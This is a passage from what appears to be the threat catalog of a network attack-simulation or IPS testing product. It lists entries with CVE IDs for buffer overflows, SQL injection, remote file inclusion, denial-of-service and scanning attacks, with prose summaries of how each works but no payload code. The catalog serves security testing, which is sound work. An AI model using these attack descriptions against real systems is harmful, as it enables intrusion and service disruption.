Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. Free Image Hosting is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1715
Threat Package:	Standard

Threat File Name:	FSC20071123-13_Apple_QuickTime_RTSP_Response_Crafted_Content-Type_Header_Buffer_Overflow.xml
Executive Description:	Apple QuickTime RTSP Response Crafted Content-Type Header Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in the way Apple QuickTime handles Real Time Streaming Protocol (RTSP) responses. The flaw is due to boundary error when parsing a crafted Content-Type header. A remote attacker can exploiting this vulnerability by enticing the target user to visit a malicious web site. Successful attack could allow for arbitrary code injection and execution with the privileges of the currently logged on user.
Protocol Type:	TCP
CVEID:	CVE-2007-6166
Threat Package:	Standard
Threat File Name:	http_lotssoheaders_IPv6.xml
Executive Description:	HTTP client uses too many headers during request (IPv6 Version)
Detailed Description:	This is an attack against an HTTP server by sending a large number of pointless headers. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130611-13_Microsoft_Internet_Explorer_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer Use After Free
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2013-3123
OSVDB:	94117
Threat File Name:	revizecms_sql_IPv6.xml
Executive Description:	Revize CMS Query_results.JSP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL query that contains an SQL query to be executed by the server. Revize CMS is an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3727
OSVDB:	20919
Threat Package:	Standard
Threat File Name:	phpwebsite_cmi_IPv6.xml
Executive Description:	PHPWebSite 0.10.2 Remote Command Execution (IPv6 Version)
Detailed Description:	This threat simply builds a URL containing PHP code, as well as injecting code within the "User-Agent" header field which when combined with an arbitrary remote inclusion flaw allows the execution of arbitrary code. PHPWebSite is a web application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	googleearthKML_IPv6.xml
Executive Description:	Google Earth Memory Corruption (IPv6 Version)
Detailed Description:	This attack sends a malicious google earth KML file from a webserver. This causes memory corruption and could lead to code execution. The google earth application loads custom made XML files with a .kml extension. This attack would typically come a malicious web server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	CUPSdos.xml
Executive Description:	CUPS Web Interface Denial of Service
Detailed Description:	By placing a /. in a request URL to the CUPS management interface, the CUPS service can be made to crash.
Protocol Type:	HTTP
CVEID:	CVE-2005-2874
OSVDB:	12834
Threat Package:	Standard
Threat File Name:	TSL20120423-05_Adobe_Reader_and_Acrobat_TrueType_Font_MINDEX_Integer_Overflow_IPv6.xml
Executive Description:	Adobe Reader and Acrobat TrueType Font MINDEX Integer Overflow(IPV6 Version)
Detailed Description:	An integer overflow has been identified in Adobe's Reader and Acrobat products. The integer overflow occurs during the calculation of a byte-offset into the TTF interpreter stack during the processing of a MINDEX instruction. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open a crafted PDF document. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB,NFS
CVEID:	CVE-2012-0774
OSVDB:	81246
Threat File Name:	wins_heap2_IPv6.xml
Executive Description:	MS04-045 WINS Heap Overflow Exploit 2 (IPv6 Version)
Detailed Description:	This threat is another variation on the WINS exploit and is part of a worm trying to infect the machine. WINS typically listens on port 42. (IPv6 Version)
Protocol Type:	WINS/IPv6
CVEID:	CVE-2004-1080
OSVDB:	12378
Threat Package:	Standard
Threat File Name:	FSC20100129-03_Ingres_Database_iidbms_Heap_Overflow.xml
Executive Description:	Ingres Database iidbms Heap Overflow

Detailed Description:	A vulnerability exists in Ingres Database that could be exploited by remote attackers to compromise a vulnerable system. The vulnerability is due to insufficient boundary checking in the iidbms component of the Ingres Database. Remote unauthenticated attackers could exploit this vulnerability by sending a specially crafted request to the database server. Successful exploitation would cause a heap buffer overflow that could cause a denial of service, or allow execution of arbitrary code with the privileges of the affected process.
Protocol Type:	Ingres Database Communications Server protocol
Threat Package:	Standard
Threat File Name:	bonk.xml
Executive Description:	Fragment Reassembly: Bonk Attack
Detailed Description:	This threat sends a UDP packet broken into two fragments. The advertised UDP header length is longer than the actual reassembled packet.
Protocol Type:	UDP
CVEID:	CVE-1999-0258
OSVDB:	5730
Threat Package:	Standard
Threat File Name:	TSL20161213-18_Microsoft_Edge_CVE-2016-7286_Memory_Corruption.xml
Executive Description:	Microsoft Edge CVE-2016-7286 Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Edge. The vulnerability is due to improper use of objects in memory. A remote attacker could exploit the vulnerability by enticing a user to open a maliciously crafted web page. Successful exploitation of this vulnerability could allow the attacker to execute arbitrary code with the privileges of the browser.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-7286
Threat File Name:	TSL20170112-1_Advantech_WebAccess_updateTemplate.aspx_SQL_Injection.xml
Executive Description:	Advantech WebAccess updateTemplate.aspx SQL Injection
Detailed Description:	An SQL injection vulnerability has been reported in Advantech WebAccess. The vulnerability is due to insufficient validation of the template parameter in HTTP request sent to the updateTemplate.aspx. A remote attacker could exploit this vulnerability by sending a HTTP request with a malicious SQL query to the target server. Successful exploitation could allow the attacker to access and modify potentially sensitive information
Protocol Type:	HTTP
CVEID:	CVE-2017-5154
Threat File Name:	FSC20081209-11_Microsoft_Internet_Explorer_HTML_Embed_Tag_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Embed Tag Stack Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Internet Explorer. The flaw is due to a boundary error when handling overly long src attributes in an HTML embed tag. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious HTML document. Successful attack may allow for arbitrary code injection and execution with privileges of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, the application would terminate abnormally. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-4261
Threat Package:	Standard
Threat File Name:	TSL20140619-01_Rocket_Servergraph_Admin_Center_fileRequestor_Directory_Traversal_IPv6.xml
Executive Description:	Rocket Servergraph Admin Center fileRequestor Directory Traversal(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Rocket Servergraph Admin Center for TSM, an interface for monitoring backup solutions such as IBM Tivoli Storage Manager, Symantec NetBackup etc. The vulnerability is due to a directory traversal within the fileRequestServlet servlet. A remote unauthenticated attacker can exploit this vulnerability to achieve arbitrary code execution under the context of the SYSTEM user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-3914
OSVDB:	107680
Threat File Name:	oracle_web_plsql_2.xml
Executive Description:	Oracle PLSQL Bypass Attack Two
Detailed Description:	This threat bypasses the Oracle PLSQL gateway by supplying an unicode character which gets translated to plain ascii after the filter in the URL. This allows a user to access any system tables in the database server. Oracle PLSQL is a web application, that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	nimda3.xml
Executive Description:	Nimda Request URL 3
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080909-10_Microsoft_Windows_Graphics_Rendering_Engine_EMF_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Windows Graphics Rendering Engine EMF Parsing Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in the way that GDI+ handles parsing of EMF image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted EMF file image. Successful exploitation can result in memory corruption which may lead to arbitrary code execution under the credentials of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3012
Threat Package:	Standard
Threat File Name:	dlink_dp-300_httpd_crash_IPv6.xml

Executive Description:	D-Link Print Server Long Post Request Denial Of Service Vulnerability D-Link Print Server Long Post Request Denial Of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a excessively long POST command to a configuration page which crashes the HTTP server on the device. the D-Link httpd typically runs on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-1068
OSVDB:	9404
Threat File Name:	emptyUDP.xml
Executive Description:	Empty UDP SNMP Packet
Detailed Description:	This threat sends an empty UDP packet at an SNMP agent. This has been proven to cause some types of Cisco equipment to fail when the SNMP agent was disabled.
Protocol Type:	SNMP
CVEID:	CVE-2001-0566
Threat Package:	Standard
Threat File Name:	foing_cmi_f_IPv6.xml
Executive Description:	Foing 0.7.0 (phpBB) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a path to an arbitrary file which is included by the server and executed via playlist.phps "phpbb_root_path" parameter. Foing is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130809-02_VLC_Media_Player_ABC_File_Parts_Field_Parsing_Heap_Integer_Overflow.xml
Executive Description:	VLC Media Player ABC File Parts Field Parsing Heap Integer Overflow
Detailed Description:	A remote code execution vulnerability has been reported in the libmodplug library used by VLC Media Player. The vulnerability is due to an error while parsing Parts field in ABC files which can result in an integer overflow. A remote attacker can exploit this vulnerability by enticing an unsuspecting user to download and process a malicious file with a vulnerable version of the application.
Protocol Type:	MMS,HTTPS,HTTP,IMAP,POP3,SMB/CIFS,SMTP,RTSP
OSVDB:	96133
Threat File Name:	grayCMS_Inclusion_IPv6.xml
Executive Description:	GrayCMS Remote Code Execution (IPv6 Version)
Detailed Description:	This threat takes advantage of PHP's ability to include a file from a remote webserver as part of its execution. This can be used by an attacker to execute arbitrary code in the context of the webserver. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1360
OSVDB:	15860
Threat Package:	Standard
Threat File Name:	TSL20140812-19_Microsoft_Internet_Explorer_CVE-2014-2820_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-2820 Use After Free
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code.A remote unauthenticated attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-2820
OSVDB:	109951
Threat File Name:	TSL20170330-09_Trend_Micro_IWSVA_testConfiguration_Command_Injection_IPv6.xml
Executive Description:	Trend Micro IWSVA testConfiguration Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in Trend Micro InterScan Web Security Virtual Appliance (IWSVA). The vulnerability exists due to improper validation of the HTTP request parameters when processing requests with /rest/testConfiguration URI. A remote, unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of the process.
Protocol Type:	HTTP,HTTPS,IPv6
Threat File Name:	divxwebplayer-1.3_dos.xml
Executive Description:	DivX Web Player NPDIVX32.DLL ActiveX Control Remote Denial of Service Vulnerability
Detailed Description:	This threat uses a malicious web server to leave a denial-of-service condition in Internet Explorer or other applications that use the vulnerable NPDIVX32.DLL ActiveX control included with DivX Player 6.4.1. Internet Explorer is a web browser and typically connects to web servers listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0429
Threat Package:	Standard
Threat File Name:	TSL20160525-04_Apache_ActiveMQ_Fileserver_File_Upload_Directory_Traversal_IPv6.xml
Executive Description:	Apache ActiveMQ Fileserver File Upload Directory Traversal (IPv6 version)
Detailed Description:	A directory traversal vulnerability exists in Apache ActiveMQ. The vulnerability is due to insufficient input validation in the file upload functionality when processing a PUT request. A remote, unauthenticated attacker may exploit this vulnerability by sending a malicious file using a crafted PUT request to replace executable components of ActiveMQ. Successful exploitation may allow arbitrary code execution under the security context of the target service.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-3088
Threat File Name:	xine_fs.xml
Executive Description:	Xine Playlist Handling Remote Format String Vulnerability
Detailed Description:	This server based threat exploits a format string flaw in the XINE player, by providing a format string within the playlist file as the track path. This threat is delivered via HTTP which typically listens on port 80.

Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080731-12_CA_ARCserve_Backup_for_Laptops_and_Desktops_LGServer_Handshake_Bu.xml
Executive Description:	CA ARCserve Backup for Laptops and Desktops LGServer Handshake Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the way CA ARCserve Backup for Laptops and Desktops service handles incoming messages. A remote unauthenticated attacker can send specially crafted message to the LGServer service to trigger the vulnerability, potentially execute arbitrary code on the target host with System privileges.
Protocol Type:	SSDP
CVEID:	CVE-2008-3175
Threat Package:	Standard
Threat File Name:	FSC20080814-12_Microsoft_Visual_Studio_MSMASK32_OCX_ActiveX_Control_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Visual Studio MSMASK32.OCX ActiveX Control Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in MS Visual Studio. The vulnerability is due to a boundary error while handling an overly large "Mask" parameter of the ActiveX Control Msmask32.ocx. A remote attacker could exploit the vulnerability by enticing the target user to visit a malicious web page. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3704
Threat Package:	Standard
Threat File Name:	exophpdesk_rfi_IPv6.xml
Executive Description:	ExoPHPDesk <= 1.2.1 (faq.php) Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. ExoPHPDesk is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20140805-05_Samba_nmbd_unstropy_Buffer_Overflow.xml
Executive Description:	Samba nmbd unstropy Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Samba. The vulnerability is due to using incorrect buffer size in a string copy operation in the nmbd daemon. >A remote, unauthenticated attacker could exploit this vulnerability by sending malicious packets to a vulnerable nmbd service. A successful attack could result in arbitrary code execution with the privileges of the superuser while an unsuccessful attack will result in the application to terminate or stop responding. Tester needs to set variable \$destPort to 139 before test.
Protocol Type:	NBSS
CVEID:	CVE-2014-3560
OSVDB:	109760
Threat File Name:	FSC20060525-16_Symantec_Antivirus_Real_Time_Virus_Scan_Service_Stack_Overflow_IPv6.xml
Executive Description:	Symantec Antivirus Real Time Virus Scan Service Stack Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in the Real-Time Scan Service component of various Symantec Antivirus products. The flaw exists due to insufficient verification of user input processed by the service Log Forwarding component. An unauthenticated attacker may leverage this vulnerability to inject and execute arbitrary code, which will run in the security context of the service, System by default. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2006-2630
Threat Package:	Standard
Threat File Name:	FSC20080812-17_Microsoft_Color_Management_System_Crafted_Path_Name_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Color Management System Crafted Path Name Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Color Management System. The vulnerability is due to a boundary error in the Microsoft Color Management System (MSCMS) module of the Microsoft Image Color Management (ICM) component. Remote unauthenticated attackers could exploit this vulnerability by persuading users to open a specially crafted image file. Successful exploitation would cause a heap buffer overflow that could allow the attacker to execute arbitrary code on the vulnerable system. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2245
Threat Package:	Standard
Threat File Name:	javamail.xml
Executive Description:	Javamail Arbitrary File Download
Detailed Description:	This threat attempts to download the shadow file off of a vulnerable Javamail installation. Javamail is a web mail client API which will typically listen on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-1682
OSVDB:	16812
Threat Package:	Standard
Threat File Name:	FSC20090108-07_HP_OpenView_Network_Node_Manager_Toolbar.exe_HTTP_Request_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager Toolbar.exe HTTP Request Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager. The flaw is due to a boundary error when processing HTTP request sent to CGI program Toolbar.exe. A remote unauthenticated attacker can send a crafted HTTP request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected process, normally Internet Guest Account on Windows platforms. In an attack case where code injection is not successful, the affected process will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected process, normally Internet Guest Account.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-0067

Threat Package:	Standard
Threat File Name:	ms_office_2007_bof_IPv6.xml
Executive Description:	Microsoft Word 2007 WwLib.DLL Unspecified Document File Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a flaw in the wwlib.dll used by Office 2007 (Word) by delivering a malicious .doc file. Microsoft Office Word 2007 is a client application and the .doc file is delivered via emulated web server listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	MS02-012_IPv6.xml
Executive Description:	Microsoft MSSMTP MS02-012 Denial Of Service (IPv6 Version)
Detailed Description:	This threat causes a crash in the MSSMTP service by sending a malformed BDAT request. This can cause the mail transfer agent to fail and crash. SMTP services typically listen on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2002-0055
OSVDB:	732
Threat Package:	Standard
Threat File Name:	snort_bo.xml
Executive Description:	Snort Backorifice Ping
Detailed Description:	This threat causes a buffer overflow in snort's backorifice dissector. This leads to remote compromise and code execution of a Snort based IDS sensor. This packet travels to port 53 on UDP, and looks like a malformed DNS packet.
Protocol Type:	UDP
CVEID:	CVE-2005-3252
OSVDB:	20034
Threat Package:	Standard
Threat File Name:	TSL20140211-17_Microsoft_XML_Core_Services_MSXML_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft XML Core Services MSXML Information Disclosure(IPv6 Version)
Detailed Description:	A vulnerability has been reported in Microsoft XML Core Services (MSXML). The vulnerability is due to an error in MSXML's enforcement of cross-domain policies, allowing content to be accessed from different domains. A remote unauthenticated attacker could exploit this vulnerability by persuading a target user to visit a specially crafted website. Successful exploitation could allow an attacker to read files on the user's local file system or read files on the web domains where the user is currently authenticated.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0266
OSVDB:	103189
Threat File Name:	TSL20150330-01_ManageEngine_Desktop_Central_Unauthorized_Administrative_Password_Reset.xml
Executive Description:	ManageEngine Desktop Central Unauthorized Administrative Password Reset.
Detailed Description:	An access control weakness vulnerability exists in ManageEngine Desktop Central. The vulnerability is due to design error in limiting the admin's password reset functionality to authorized admin users only. This allows any remote unauthenticated users to access the administrative control panel of Desktop Central. Tester should set variable \$destPort to 8020 before test.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2560
OSVDB:	120026
Threat File Name:	newsportal_cmi.xml
Executive Description:	Newsportal (poll.php) Remote File Inclusion Vulnerability
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via poll.php's file_newsportal parameter. NewsPortal is a web based application which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2557
OSVDB:	25531
Threat Package:	Standard
Threat File Name:	clever_copy_sql.xml
Executive Description:	Clever Copy SQL injection in mailarticle.php's ID variable
Detailed Description:	This threat sends a crafted URL that contains a SQL query which is executed by the server. Clever Copy is a web based application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0583
OSVDB:	22984
Threat Package:	Standard
Threat File Name:	IEDOS_IPv6.xml
Executive Description:	Internet Explorer Denial of Service (IPv6 Version)
Detailed Description:	This threat is an unknown denial of service attack on Internet Explorer. Will cause most recent versions to crash. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120210-07_ImageMagick_EXIF_ResolutionUnit_Handling_Memory_Corruption.xml
Executive Description:	ImageMagick EXIF ResolutionUnit Handling Memory Corruption

Detailed Description:	ImageMagick is a software suite to used create, edit, and compose bitmap images. It can read, convert, and write images in a variety of formats. It is commonly used in CGI scripts and through PHP interfaces for image manipulation on web servers. A memory access error vulnerability has been reported in ImageMagick. The vulnerability is due to a boundary error in the ImageMagick library specifically while handling crafted ResolutionUnit tags in EXIF headers. Remote attackers could exploit this vulnerability by uploading a malicious image file to a vulnerable server or by persuading a target user to open such an image file in a desktop program that uses the vulnerable version of ImageMagick. Successful exploitation would cause memory corruption, which may lead to arbitrary code execution in the security context of the affected server application or the logged-in user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0247
OSVDB:	79003
Threat File Name:	IIS_track_IPv6.xml
Executive Description:	IIS TRACK Request (IPv6 Version)
Detailed Description:	IIS 5.0 has an undocumented HTTP request TRACK. This request operates the same way as the RFC compliant request, TRACE. TRACK can be used for cross-site scripting attacks and password theft, and unlike TRACE it is not logged by IIS. IIS is a webserver, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	4864
Threat Package:	Standard
Threat File Name:	FSC20070612-15_Microsoft_Speech_API_4.0_ActiveX_Controls_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Speech API 4.0 ActiveX Controls Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the way Microsoft Speech API (SAPI) ActiveX controls handles user supplied data. The vulnerability can be triggered by passing an overly long string to various methods of the SAPI ActiveX controls. An attacker can exploit this vulnerability for code execution by enticing a target user to open a malicious HTML document. Any code injected using this vulnerability would be executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2222
Threat Package:	Standard
Threat File Name:	TSL20110913-05_Microsoft_Office_Excel_BIFF5_Record_Parsing_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Office Excel BIFF5 Record Parsing Use After Free(IPv6 Version)
Detailed Description:	A use after free vulnerability exists in Microsoft Excel. The vulnerability is due to the way the vulnerable product parses Shrfmla BIFF records in Excel documents. A crafted Excel file could trigger an error condition which could result in accessing of freed memory. A remote attacker could exploit this vulnerability by enticing a target user to open a crafted Excel document. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-1986
Threat File Name:	FSC20080311-10_Microsoft_Excel_Data_Validation_Record_Processing_Code_Execution.xml
Executive Description:	Microsoft Excel Data Validation Record Processing Code Execution
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is due to improper parsing of the Data Validation (DVAL) records while loading Excel files in memory. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Excel will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0111
Threat Package:	Standard
Threat File Name:	FSC20060217-03_Snort_Fragmented_IP_Packet_Processing_Evasion_Vulnerability_IPv6.xml
Executive Description:	Snort frag3 Preprocessor Fragmented IP Packet Detection Evasion (IPv6 Version)
Detailed Description:	A detection bypass vulnerability exists in Snort's frag3 preprocessor. The vulnerability is caused due to improper processing of IP Options of fragmented IP packets in the vulnerable preprocessor. An attacker may exploit this vulnerability by sending crafted fragmented IP packets to bypass Snort's detection or terminate the Snort process in certain circumstances. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2006-0839
Threat Package:	Standard
Threat File Name:	sipesccontant.xml
Executive Description:	SIPPING: Escaped Contact Header
Detailed Description:	This threat sends out a SIP REGISTER message with an escaped Route: header in the Contact: header. This is valid but unexpected and may cause confusion or crashing in a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	avaxswf_activex_overwrt.xml
Executive Description:	Avaxswf.dll v.1.0.0.1 from Avax Vector software ActiveX Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Avax Vector software ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3459
Threat Package:	Standard
Threat File Name:	TSL20150909-15_Advantech_WebAccess_AspVCOBJ.AspDataDriven_ActiveX_GetWideStrCpy_Stack_Buffer_Overflow_IPv6.xml

Executive Description:	Advantech WebAccess AspVCObj.AspDataDriven ActiveX GetWideStrCpy Stack Buffer Overflow IPv6 version.
Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of an argument to GetWideStrCpy() in the AspVCObj.AspDataDriven ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.
Protocol Type:	HTTP/HTTPS, IPv6
CVEID:	CVE-2014-9208
Threat File Name:	TSL20170123-01_Dell_SonicWALL_GMS-Analyzer_license.jsp_Information_Disclosure_IPv6.xml
Executive Description:	Dell SonicWALL GMS-Analyzer license.jsp Information Disclosure (IPv6 Version)
Detailed Description:	An information disclosure vulnerability exists in the license.jsp component of Dell SonicWALL GMS, Analyzer. The vulnerability is due to a design weakness where the page containing sensitive information, license.jsp, can be accessed without authentication. This page returns the serial number for the product, which allows an attacker to calculate the key needed to reset the admin password for the server. A remote, unauthenticated attacker could exploit this vulnerability by navigating to the license.jsp of a vulnerable server. Successful exploit results in a disclosure of the Serial Number for the product. An attacker can use this information to gain access to the admin account on the server.
Protocol Type:	HTTP, HTTPS, IPv6
Threat File Name:	jrunbof_IPv6.xml
Executive Description:	JRun Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a large GET request known to overflow the buffer in the ISAPI handler for JRun on IIS. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-1310
OSVDB:	6640
Threat Package:	Standard
Threat File Name:	TSL20170127-06_OpenSSL_DHE_and_ECDHE_Parameters_NULL_Pointer_Dereference_IPv6.xml
Executive Description:	OpenSSL DHE and ECDHE Parameters NULL Pointer Dereference (IPv6 Version)
Detailed Description:	A NULL pointer dereference vulnerability exists in OpenSSL. This vulnerability is due to the way crafted DHE and ECDHE parameters are handled by an OpenSSL client application during TLS handshake. A remote attacker could exploit this vulnerability in an OpenSSL client application (which may be a server application), by sending crafted DHE or ECDHE parameters during TLS handshake. Successful exploitation results in a denial of service condition on the affected service.
Protocol Type:	TLS, DTLS, HTTPS, SMTP, SMTPS, SIPS, IPv6
CVEID:	CVE-2017-3730
Threat File Name:	novell_messenger.xml
Executive Description:	Novell Groupwise Messenger Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the Novell Groupwise Messaging Agent. It allows an attacker to execute code on the target in the context of the SYSTEM user account. This attack is HTTP based but should typically use port 8300.
Protocol Type:	HTTP
CVEID:	CVE-2006-0092
OSVDB:	24617
Threat Package:	Standard
Threat File Name:	sipoptionsscan_IPv6.xml
Executive Description:	SIP OPTIONS Scan (IPv6 Version)
Detailed Description:	This threat sends out a SIP OPTIONS message looking for a response. By sweeping these messages over a block of addresses, an attacker can learn about the setup of a VoIP network. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20091013-06_Microsoft_Windows_Media_Runtime_ASF_Voice_Sample_Rate_Code_Execution.xml
Executive Description:	Microsoft Windows Media Runtime ASF Voice Sample Rate Code Execution
Detailed Description:	A vulnerability exists in Microsoft Windows Media Runtime that could allow remote code execution. The vulnerability is due to the way that Microsoft Windows handles specially crafted ASF files. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious ASF file. In the case of successful code injection and execution, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be executed with the privileges of the currently logged-in user. In the case where code execution is not successful, the affected application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/MMS/POP3/RTSP/SMB/CIFS/SMTP
CVEID:	CVE-2009-0555
Threat Package:	Standard
Threat File Name:	InternetExplorerFTPXSS_IPv6.xml
Executive Description:	Microsoft Internet Explorer FTP XSS attempt (IPv6 Version)
Detailed Description:	This threat attempts to execute Javascript locally by supplying a bad FTP hostname containing Javascript. Can be used to gain control of the user through the web browser. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-2062
OSVDB:	3049
Threat Package:	Standard
Threat File Name:	FSC20060519-09_Microsoft_Word_Smart_Tags_Code_Execution.xml
Executive Description:	Microsoft Word Smart Tags Code Execution
